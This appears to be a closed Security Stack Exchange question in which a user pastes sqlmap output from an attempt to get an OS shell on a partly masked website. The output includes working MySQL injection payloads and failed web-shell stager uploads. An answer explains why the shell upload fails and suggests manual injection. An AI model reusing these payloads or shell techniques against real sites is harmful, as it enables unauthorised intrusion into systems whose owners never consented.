-1

root@kali:~# sqlmap -u http://www.a***********.com/info.php?id=2 --os-shell _ _ _| |_____ _ {1.0-dev-nongit-20150907} | -| . | | | .'| . | || |||||,| | || |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 14:19:12

[14:19:12] [INFO] resuming back-end DBMS 'mysql' [14:19:12] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=2 AND 1573=1573

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=2 AND (SELECT 4707 FROM(SELECT COUNT(*),CONCAT(0x716a6a6b71,(SELECT (ELT(4707=4707,1))),0x71626b6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=2 AND (SELECT * FROM (SELECT(SLEEP(5)))mLSU)

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns

Payload: id=-3095 UNION ALL SELECT CONCAT(0x716a6a6b71,0x74425946666178444d71,0x71626b6271),NULL,NULL--

[14:19:14] [INFO] the back-end DBMS is MySQL web application technology: Apache 2, PHP 5.2.17 back-end DBMS: MySQL 5.0 [14:19:14] [INFO] going to use a web backdoor for command prompt [14:19:14] [INFO] fingerprinting the back-end DBMS operating system [14:19:14] [INFO] the back-end DBMS operating system is Linux which web application language does the web server support? [1] ASP [2] ASPX [3] JSP [4] PHP (default)

4 [14:19:17] [WARNING] unable to retrieve automatically the web server document root what do you want to use for writable directory? [1] common location(s) ('/var/www/, /var/www/html, /usr/local/apache2/htdocs, /var/www/nginx-default') (default) [2] custom location(s) [3] custom directory list file [4] brute force search 1 [14:19:27] [WARNING] unable to automatically parse any web server path [14:19:27] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method [14:19:28] [WARNING] reflective value(s) found and filtering out [14:19:29] [WARNING] unable to upload the file stager on '/var/www/' [14:19:29] [INFO] trying to upload the file stager on '/var/www/' via UNION method [14:19:30] [WARNING] expect junk characters inside the file as a leftover from UNION query [14:19:30] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process' user has no write privileges in the destination path) [14:19:35] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method [14:19:37] [WARNING] unable to upload the file stager on '/var/www/html/' [14:19:37] [INFO] trying to upload the file stager on '/var/www/html/' via UNION method [14:19:38] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process' user has no write privileges in the destination path) [14:19:40] [INFO] trying to upload the file stager on '/usr/local/apache2/htdocs/' via LIMIT 'LINES TERMINATED BY' method [14:19:44] [WARNING] unable to upload the file stager on '/usr/local/apache2/htdocs/' [14:19:44] [INFO] trying to upload the file stager on '/usr/local/apache2/htdocs/' via UNION method [14:19:44] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process' user has no write privileges in the destination path) [14:19:46] [INFO] trying to upload the file stager on '/var/www/nginx-default/' via LIMIT 'LINES TERMINATED BY' method [14:19:50] [WARNING] unable to upload the file stager on '/var/www/nginx-default/' [14:19:50] [INFO] trying to upload the file stager on '/var/www/nginx-default/' via UNION method [14:19:50] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process' user has no write privileges in the destination path) [14:19:52] [WARNING] HTTP error codes detected during run: 404 (Not Found) - 32 times [14:19:52] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.************.com'

[*] shutting down at 14:19:52

**I always get an error How can I fix this?

Am on Kali Linux verion2**

closed as off-topic by user45139, Stephane, AviD Sep 8 '15 at 8:05

This question appears to be off-topic. The users who voted to close gave these specific reasons:

  • "Questions asking us to break the security of a specific system for you are off-topic unless they demonstrate an understanding of the concepts involved and clearly identify a specific problem." – AviD
  • "This question does not appear to be about Information security within the scope defined in the help center." – Community, Stephane
If this question can be reworded to fit the rules in the help center, please edit the question.

1

The web shell needs to be written to a file that can be accessed from within the webroot sqlmap was unable to determine a suitable path and is asking you to provide one. There are several reasons why you may not be able to spawn a shell this way:

  1. The database user does not have permission to select into outfile
  2. There are no writeable directories under webroot
  3. The database and webservers are on separate hosts

I suggest you try to learn how to do sql injection and obtain a shell manually, it will help you understand the limitations that sqlmap has to operate under. A quick google search should help you get started.

Not the answer you're looking for? Browse other questions tagged or ask your own question.